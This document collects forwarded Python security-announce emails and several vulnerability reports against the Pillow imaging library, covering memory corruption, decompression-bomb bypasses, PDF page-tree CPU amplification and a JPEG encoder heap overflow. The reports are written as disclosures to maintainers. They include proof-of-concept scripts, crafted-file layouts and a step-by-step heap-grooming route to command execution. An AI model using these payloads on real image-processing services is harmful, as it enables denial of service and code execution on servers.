See how python compares to other vendors in security performance
-------- Forwarded Message -------- Date: Sat, 24 Oct 2026 14:20:01 +0000 From: Seth Larson <seth () python org> Reply-To: security-sig () python org To: security-announce () python org Please see the linked CVE ID for more information:
https://www.cve.org/CVERecord?id=CVE-2026-115557 https://github.com/python/cpython/pull/160042
Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org
-------- Forwarded Message -------- Date: Thu, 22 Oct 2026 21:35:28 +0100 From: Stan Ulbrych via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Stan Ulbrych <stanulbrych () gmail com>
There is a MEDIUM severity vulnerability affecting CPython.
Please see the linked CVE ID for the latest information on affected versions:
https://www.cve.org/CVERecord?id=CVE-2026-114583 https://github.com/python/cpython/pull/160098
Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org
Summary Pillow multi-frame image loaders can retain native ImagingCore storage allocated for one frame while changing the Python-side image mode and decoder tiles for a later frame.
If frame 0 allocates storage for a narrow mode such as L, and a later frame of the same dimensions switches to a wider mode such as RGB or CMYK, Pillow may decode wider pixels into the stale narrow native buffer. This causes native out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented ImageSequence.Iterator + frame.load() path.
Details The root cause appears to be that ImageFile.loadprepare() only reallocates native storage when im is None. It does not verify that the retained native ImagingCore storage still matches self.mode and self.size.
Several multi-frame seek() / open() paths can update self.mode and decoder tiles for a later frame without invalidating im. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.
Verified affected surfaces:
1. PSD
PsdImageFile.seek() can switch from grayscale/native L storage to RGB layer decoding while retaining im. This produces attacker-controlled native out-of-bounds writes and reliable crashes.
2. MPO/JPEG
A crafted two-frame MPO can make frame 0 allocate L storage, then make frame 1 decode CMYK / RGB data into the retained L storage. The documented ImageSequence.Iterator path reaches this with frame.load(). Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.
3. DCX
DcxImageFile.seek() calls PcxImageFile.open(), which changes mode/tile state without a native-storage mode guard. A crafted DCX with L then RGB PCX frames produces retained-storage mismatch and crash.
4. MIC
MIC can call TiffImageFile.open() directly and bypass TIFF's normal guarded seek() behavior. With a NextIFD-based reachable frame transition, this produces retained-storage mismatch and crash.
TIFF appears to be a useful positive control because its seek() path checks both size and mode before reusing storage.
Impact - process crash / denial of service, - native out-of-bounds write, - native over-read in the MPO path.
Stronger proven impact:
- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.
Server-side deployment impact:
- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow. - The attack is one HTTP request and requires no user interaction after upload. - The fixed harmless command-output marker succeeded 10/10 times. - The im=None control was clean 10/10 times.
Reproduction Evidence
Tested version:
text Pillow 12.3.0
MPO terminal proof environments:
text Python 3.12.3 + Pillow 12.3.0, clean PyPI environment: marker 10/10, control 0/10
Python 3.13.14 + Pillow 12.3.0, prepared profile: marker 10/10, control 0/10
Server-side web-upload proof:
text control 1..10: MARKERMISSING controlsummary ok 0 missing 10 /10
vulnerable 1..10: MARKEROK markeroutput <server-user> vulnerablesummary ok 10 missing 0 /10
The terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.
I can provide the following private artifacts to maintainers:
- minimal crash fixtures for PSD, MPO, DCX, and MIC, - non-weaponized MPO marker PoC, - local vulnerable web upload demo, - gdb/GEF geometry receipts, - control-run logs, - proposed regression-test shape.
Minimal Reproduction Shape
For the MPO path, the vulnerable consumer shape is:
python from io import BytesIO from PIL import Image, ImageSequence
source = BytesIO(open(path, "rb").read()) image = Image.open(source) iterator = ImageSequence.Iterator(image) next(iterator).load() next(iterator).load()
The crafted image shape is:
text frame 0: mode L, dimensions W x H frame 1: same W x H, wider mode such as CMYK
Frame 0 allocates native L storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.
Suggested Fix Direction
Before reusing native ImagingCore storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.
A central guard in ImageFile.loadprepare() could compare native storage mode/size against self.mode / self.size and allocate fresh storage when they differ. Alternatively, every mode-changing seek() / open() path should explicitly invalidate im before decoding.
Caution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.
Credit
text Rotem Kama
Methodology Note
AI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.
Summary Pillow's decompression-bomb protection (Image.decompressionbombcheck, gated by Image.MAXIMAGEPIXELS) is enforced only on the first frame, inside Image.open(). For multi-frame formats, seek() re-parses the target frame's header and resets self.size. GifImagePlugin and TiffImagePlugin re-run the bomb check on seek(), but MpoImageFile.seek() and DcxImageFile.seek() do not. A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).
Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).
Details Image.open() → opencore() runs decompressionbombcheck(im.size) once, on the frame present at open time. Both vulnerable seek() methods re-parse a new frame and set a new self.size without re-checking:
- PIL/MpoImagePlugin.py, MpoImageFile.seek(): calls JpegImagePlugin.JpegImageFile.open(self) (which sets self.size from the frame's JPEG SOF) and rebuilds self.tile, with no Image.decompressionbombcheck(self.size). - PIL/DcxImagePlugin.py, DcxImageFile.seek(): calls PcxImageFile.open(self) (which sets self.size from the page's PCX header), with no check.
Confirmed present in 12.3.0 (latest release) and on main (13.0.0.dev0). Compare GifImagePlugin.seek and TiffImagePlugin, which call decompressionbombcheck correctly on seek.
PoC Self-contained; the victim uses default MAXIMAGEPIXELS:
python import io from PIL import Image
attacker builds the file (guard disabled only to CREATE the oversized frame) Image.MAXIMAGEPIXELS = None small = Image.new("RGB", (8, 8)) big = Image.new("RGB", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold buf = io.BytesIO() small.save(buf, format="MPO", saveall=True, appendimages=[big]) data = buf.getvalue() # ~3 MB Image.MAXIMAGEPIXELS = int(1024 1024 1024 // 4 // 3) # restore default
victim (default limits) im = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check im.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug im.load() # decodes the over-limit image, commits memory print("loaded over-limit frame:", im.size)
Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):
| Vector | File size | Frame 1 | Peak RSS | |---|---|---|---| | MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB | | DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB | | Control: same image standalone | — | 196 Mpx | DecompressionBombError (correctly blocked) |
The DCX vector (0x3ADE68B1 magic + offset directory + two PCX pages) behaves identically via DcxImageFile.seek(). Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.
Impact Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. seek() + load() is the normal way to iterate frames (e.g. PIL.ImageSequence.Iterator, thumbnailers, converters, 3D-photo handlers). Because MPO is auto-detected from a JPEG carrying MPF metadata, a file served with a .jpg extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.
Suggested fix Re-run the check after seek() re-parses a frame, mirroring GIF/TIFF:
python PIL/MpoImagePlugin.py — end of MpoImageFile.seek() self.tile = [ImageFile.Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])] Image.decompressionbombcheck(self.size) # add self.frame = frame
PIL/DcxImagePlugin.py — end of DcxImageFile.seek() PcxImageFile.open(self) Image.decompressionbombcheck(self.size) # add
Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.
An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearizepagetree() without tracking visited or duplicate indirect references.
In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.
This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.
Details
Affected versions
- Package: Pillow - Ecosystem: pip / PyPI - Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling - Runtime-tested affected release: 12.3.0 - Runtime-tested affected development version: 13.0.0.dev0 - Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054 - Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81 - Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD - Likely affected range: >= 5.1.0 - Patched versions: none known
Evidence fact strings:
- Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py
5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.
Technical details
The reachable path is:
1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:
python Image.new("L", (1, 1), 0).save(existingpdffile, format="PDF", append=True)
2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:
python isappending = im.encoderinfo.get("append", False) filenamestr = filename.decode() if isinstance(filename, bytes) else filename if isappending: existingpdf = PdfParser.PdfParser(f=fp, filename=filenamestr, mode="r+b") else: existingpdf = PdfParser.PdfParser(f=fp, filename=filenamestr, mode="w+b")
3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:
python self.pagetreeroot = self.readindirect(self.pagesref) self.pages = self.linearizepagetree(self.pagetreeroot) self.origpages = self.pages[:]
4. linearizepagetree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:
python def linearizepagetree( self, node: PdfDict | None = None ) -> list[IndirectReference]: pagenode = node if node is not None else self.pagetreeroot checkformatcondition( pagenode[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in pagenode[b"Kids"]: kidobject = self.readindirect(kid) if kidobject[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearizepagetree(node=kidobject)) return pages
5. During append, rewritepages() then iterates the expanded origpages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.
The missing invariant is:
text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/origpages or rewrites pages.
The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.
PoC
Environment used for validation:
- OS/runtime: Linux, Python 3.13.11 - Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Latest release tested: Pillow 12.3.0 - The proof uses only synthetic in-memory PDFs and does not contact the network.
Save this as pocpillowpdfpagetreedag.py:
python #!/usr/bin/env python3 from future import annotations
import io import json import sys import time
from PIL import Image, PdfParser import PIL
def makepagetreepdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"] for objectid in range(2, depth + 3): nextid = objectid + 1 kids = b" ".join(f"{nextid} 0 R".encode("ascii") for in range(fanout)) parent = b"" if objectid == 2 else f" /Parent {objectid - 1} 0 R".encode() objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>") objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))
result = bytearray(b"%PDF-1.4\n") offsets = [0] for objectid, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f"{objectid} 0 obj\n".encode("ascii")) result.extend(value) result.extend(b"\nendobj\n")
xrefoffset = len(result) result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) result.extend(b"0000000000 65535 f \n") for offset in offsets[1:]: result.extend(f"{offset:010d} 00000 n \n".encode("ascii")) result.extend( f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n" f"startxref\n{xrefoffset}\n%%EOF\n".encode("ascii") ) return bytes(result)
def runcase(depth: int, fanout: int) -> dict[str, object]: payload = makepagetreepdf(depth, fanout) expectedrefs = fanout (depth + 1)
start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observedrefs = len(pdf.pages) distinctrefs = len(set(pdf.pages)) parseseconds = time.monotonic() - start
output = io.BytesIO(payload) start = time.monotonic() Image.new("L", (1, 1), 0).save(output, format="PDF", append=True) appendseconds = time.monotonic() - start
return { "fanout": fanout, "depth": depth, "inputbytes": len(payload), "expectedrefs": expectedrefs, "observedrefs": observedrefs, "distinctrefs": distinctrefs, "parseseconds": round(parseseconds, 6), "appendseconds": round(appendseconds, 6), "outputbytesafterappend": len(output.getvalue()), }
def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit("depth must be between 0 and 16")
linear = runcase(depth, fanout=1) shareddag = runcase(depth, fanout=2)
checks = { "linearcontrolstaysonepage": linear["observedrefs"] == 1, "candidateexpandstoexpectedduplicaterefs": shareddag["observedrefs"] == shareddag["expectedrefs"], "candidatehasonedistinctpageref": shareddag["distinctrefs"] == 1, "candidateinputiscompact": shareddag["inputbytes"] <= 2048, "appendpathprocessedbothinputs": linear["outputbytesafterappend"] > linear["inputbytes"] and shareddag["outputbytesafterappend"] > shareddag["inputbytes"], } result = { "pillowversion": PIL.version, "pillowfile": PIL.file, "depth": depth, "linearcontrol": linear, "shareddagcandidate": shareddag, "checks": checks, "overallpassed": all(checks.values()), } print(json.dumps(result, indent=2, sortkeys=True)) return 0 if result["overallpassed"] else 1
if name == "main": raise SystemExit(main())
Run:
bash python3 pocpillowpdfpagetreedag.py
Expected result:
text "overallpassed": true "linearcontrol": observedrefs == 1 "shareddagcandidate": inputbytes == 1410 "shareddagcandidate": observedrefs == 8192 "shareddagcandidate": distinctrefs == 1
Observed on current main / 13.0.0.dev0:
text 1410-byte input -> 8192 observed page refs -> 9.563007s append
Observed on Pillow 12.3.0:
text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append
For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.
Impact
This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.
The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().
Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().
This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.
Remediation
Reject duplicate and cyclic page-tree references before constructing self.pages and self.origpages.
One possible fix is to pass traversal state through linearizepagetree():
- Track active /Pages references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.
Suggested regression tests:
- A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True). - A normal nested linear page tree should continue to append successfully.
Summary SpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny (<1KB) crafted SPIDER stack file to trigger a multi-gigabyte allocation on im.load().
Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)
Root cause Image.open() runs Image.decompressionbombcheck(im.size) exactly once, in opencore (src/PIL/Image.py:3668), right after the initial open().
SPIDER stack files are multi-frame: SpiderImageFile.seek(frame) (SpiderImagePlugin.py:179-190) computes an attacker-influenced stkoffset and calls self.open() AGAIN directly (line 190) — NOT through Image.open(). open() re-parses a fresh 27-float header at that offset and reassigns:
self.size = int(h[12]), int(h[2]) # SpiderImagePlugin.py:131
straight from unvalidated header floats (isSpiderHeader only checks internal labreclenbyt==labbyt consistency, never bounds nsam/nrow). No bomb check runs on this new size.
On the subsequent load(), ImageFile.loadprepare() (ImageFile.py:436-437) executes self.im = Image.core.new(self.mode, self.size) with the unchecked, attacker-chosen size. Mode is always "F" (4 bytes/pixel), so e.g. 40000x40000 = 6.4 GB.
Why this is a real bug Sibling multi-frame plugins DO re-check on their alternate paths: - GifImagePlugin.py:286 - Image.decompressionbombcheck(self.size) (in seek) - TiffImagePlugin.py:1309 - Image.decompressionbombcheck(self.tilesize) - IcnsImagePlugin.py:121/138, IcoImagePlugin.py:236/240 (sub-image selection)
SpiderImagePlugin has NO bomb check anywhere. This is the same class of bug just fixed for GdImageFile (GHSA-phj9-mv4w-65pm) and the FontFile classes (GHSA-5x94/8v84/45hq): an allocation reached on a non-Image.open() path sized by an attacker header field, independent of the one-time pixel bomb check.
Reproduction Python 3.13, Pillow HEAD e7a7ea84
Attached: pillowpocspiderbomb.py
Sets Image.MAXIMAGEPIXELS=5000, then: - CONTROL: Image.open(standalone 100x100 SPIDER) -> DecompressionBombWarning fires correctly. - BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed.
Real-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.
Suggested fix Call Image.decompressionbombcheck(self.size) at the end of SpiderImageFile.open() (or in seek() after open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in open().
Credit: Yazan Balawneh - CyStack Security Team pillowpocspiderbomb.py
============================================================================ Heap buffer overflow writing JPEG comment after ICC profile fills buffer Location: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.
The bug is in ImagingJpegEncode() in src/libImaging/JpegEncode.c. State 4 (line 330) calls jpegwritemarker() for the COM comment marker without checking that the output buffer has room. Meanwhile, JpegImagePlugin.save() sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's emitbyte() stores one byte past the end and then decrements freeinbuffer from 0. The sizet counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.
Triggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through Image.open() and then im.save(..., "JPEG", iccprofile=im.info.get("iccprofile")). That is the documented way to preserve colour. The comment is forwarded from im.info automatically, and no non-default setting is involved.
The attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.
The unguarded call was introduced in e50ae85ea406 ("Use jpegwritemarker to write comment", 2022-12-05) and first shipped in 9.4.0.
Details
ImagingJpegEncode() (src/libImaging/JpegEncode.c) is a resumable state machine that fills a caller-supplied output buffer of bytes bytes and returns when it is full. State 4 writes the JPEG COM marker with jpegwritemarker() without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the "extra" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, jpegwritemarker() is entered with freeinbuffer == 0. libjpeg's emitbyte() stores the byte first and tests --freeinbuffer == 0 afterwards, so the sizet counter wraps to 2^64-1 instead of triggering the "buffer full" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in src/encode.c.
A JPEG laid out as
FFD8 SOI FFE2 <len> "ICCPROFILE\0" 01 01 <65498 bytes> -> im.info["iccprofile"] FFFE <len> <comment, any length 1..65533> -> im.info["comment"] <any baseline RGB JPEG body>
opened with Image.open() and re-saved with the usual colour-profile-preserving call
python im.save(out, "JPEG", iccprofile=im.info.get("iccprofile"))
kills the Python process on the stock build at this commit: glibc aborts with realloc(): invalid next size / corrupted size vs. prevsize, or the process takes SIGSEGV inside jpegwritemarker/jpegwritescanlines. Stopping at JpegEncode.c:330 in gdb shows nextoutputbyte - buf == 65536, freeinbuffer == 0, commentsize == 65533 before the call, and nextoutputbyte - buf == 131073, freeinbuffer == 18446744073709486079 after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting Invalid write ... 0 bytes after a block of size 65,569 from jpegwritemarker called at JpegEncode.c:330 before aborting on the corrupted heap metadata.
Code path
The buffer. JpegImagePlugin.save() sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:
python src/PIL/JpegImagePlugin.py:859-862 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. # Ensure that our buffer is big enough. Same with the iccprofile block. bufsize = max(len(exif) + 5, len(extra) + 1)
ImageFile.save() then takes max(MAXBLOCK, bufsize, width4) (src/PIL/ImageFile.py:662, MAXBLOCK = 65536), and encode() allocates exactly that: buf = PyBytesFromStringAndSize(NULL, bufsize) (src/encode.c:134; the real-file path encodetofile() does malloc(bufsize) at src/encode.c:190). For the input above len(extra) == 65516, so the buffer is 65536 bytes. The optimize/progressive branch just above (JpegImagePlugin.py:846-858) is not immune: its bufsize adds wh (or 2wh), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).
The "+1 spare byte" does not account for what libjpeg itself has already put in the buffer: in state 1 jpegstartcompress(&cinfo, TRUE) (JpegEncode.c:279) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:
c // src/libImaging/JpegEncode.c:302-337 case 3: if (context->extra) { unsigned int n = context->extrasize - context->extraoffset; if (n > context->destination.pub.freeinbuffer) { n = context->destination.pub.freeinbuffer; } memcpy(context->destination.pub.nextoutputbyte, context->extra + context->extraoffset, n); context->destination.pub.nextoutputbyte += n; context->destination.pub.freeinbuffer -= n; context->extraoffset += n; if (context->extraoffset >= context->extrasize) { state->state++; // done -> fall into case 4, even with freeinbuffer == 0 } else { break; } } …
case 4: if (context->comment) { jpegwritemarker(&context->cinfo, JPEGCOM, (unsigned char )context->comment, context->commentsize); // :330 — no space check } state->state++;
case 5: if (1024 > context->destination.pub.freeinbuffer) { // passes: freeinbuffer is now ~2^64 break; } … jpegwritescanlines(…) …
Every other emitting state is guarded — state 2 requires rawExifLen + 5 <= freeinbuffer (:287), state 5 requires 1024 free bytes (:340), state 6 requires 100 (:368). State 4 has no guard at all. The unguarded jpegwritemarker() call was introduced in e50ae85ea406 ("Use jpegwritemarker to write comment", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly.
With 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (freeinbuffer == 0) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (JpegImagePlugin.py:788-806), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (emptyoutputbuffer() returns FALSE, JpegEncode.c:45-48), which is why a nearly full buffer is harmless: with 1..N free bytes the comment write decrements freeinbuffer to 0 part-way, libjpeg raises JERRCANTSUSPEND, and the save fails with OSError: broken data stream. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is
c / jcmarker.c / (dest->nextoutputbyte)++ = (JOCTET)val; if (--dest->freeinbuffer == 0) { if (!(dest->emptyoutputbuffer)(cinfo)) ERREXIT(cinfo, JERRCANTSUSPEND); }
i.e. it writes buf[65536] first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and jpegwritescanlines() appends the full compressed image (≈100 KB for a 256×256 noisy source; proportional to the picture for larger ones). If the process survives that, ImagingJpegEncode() returns nextoutputbyte - buf (≈167000) as the byte count and encode() calls PyBytesResize(&buf, 167199) on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk.
All three ingredients come from the file. JpegImagePlugin reassembles APP2 ICCPROFILE chunks into im.info["iccprofile"] (:238-241) and stores the COM payload in im.info["comment"] (:194); save() forwards the comment on its own — comment = info.get("comment", im.info.get("comment")) (:808) — so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (docs/handbook/image-file-formats.rst:608). Unlike exif and xmp, there is no length check on the comment in save(). A PNG source works the same way: its iCCP chunk becomes im.info["iccprofile"] and a tEXt chunk keyed comment becomes im.info["comment"] (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. thumbnail() and convert() carry im.info along, so the usual open → thumbnail → convert("RGB") → save("JPEG", iccprofile=…) handler reaches the same state. xmp= and extra= feed the same extra block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes len(extra) + len(exif) + 4 == 65516, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte "Created with GIMP" comment crashes the stock build just as reliably (SIGSEGV in jpegwritescanlines), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker.
What lies behind the buffer
The buffer is PyBytesFromStringAndSize(NULL, 65536) = malloc(65569), a 0x10030-byte glibc chunk, so buf[65536] is the first byte of the next chunk's header. In the same encode() call, right after that allocation, jpegstartcompress() mallocs libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing ImagingJpegEncode() does after the COM write (JpegEncode.c:352; the state-5 room check passes because freeinbuffer has wrapped) is call jpegwritescanlines(), which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at jpegwritescanlines+133: call 0x8(%rax) with %rax pointing just past the end of the buffer at memory now holding comment bytes — an indirect call through a function pointer (cinfo->main->processdata) read from bytes the file supplied.
Impact
Any service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (iccprofile=im.info.get("iccprofile") — thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140–210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves.
It does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary malloc chunk, and what jpegstartcompress() allocates directly behind it — libjpeg's PERMANENT and IMAGE pools, including the method pointers jpegwritescanlines() calls through immediately afterwards — is predictable. Against a long-lived stdlib-http.server worker running exactly the handler above (stock /src build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real grayscaleconvert() copies a chosen 384-byte scanline over PyRuntime, setting allocators.objarena.free = system with ctx = the command — the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the size/next of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own malloc(commentsize) in the next JPEG save (src/encode.c:1250) returns imaging.so's writable .got.plt, the comment replaces free with system, and the encoder's cleanup free(context->comment) at JpegEncode.c:376 runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure — present or future — is enough, and this overflow is the only memory write either chain needs. Fixing it reduces those leaks to disclosures rather than footholds.
Reproducing
repro is a single Python script. It uses the Pillow already built in /src and needs no rebuild. Run it as ./repro. The last line of output is BUG or OK.
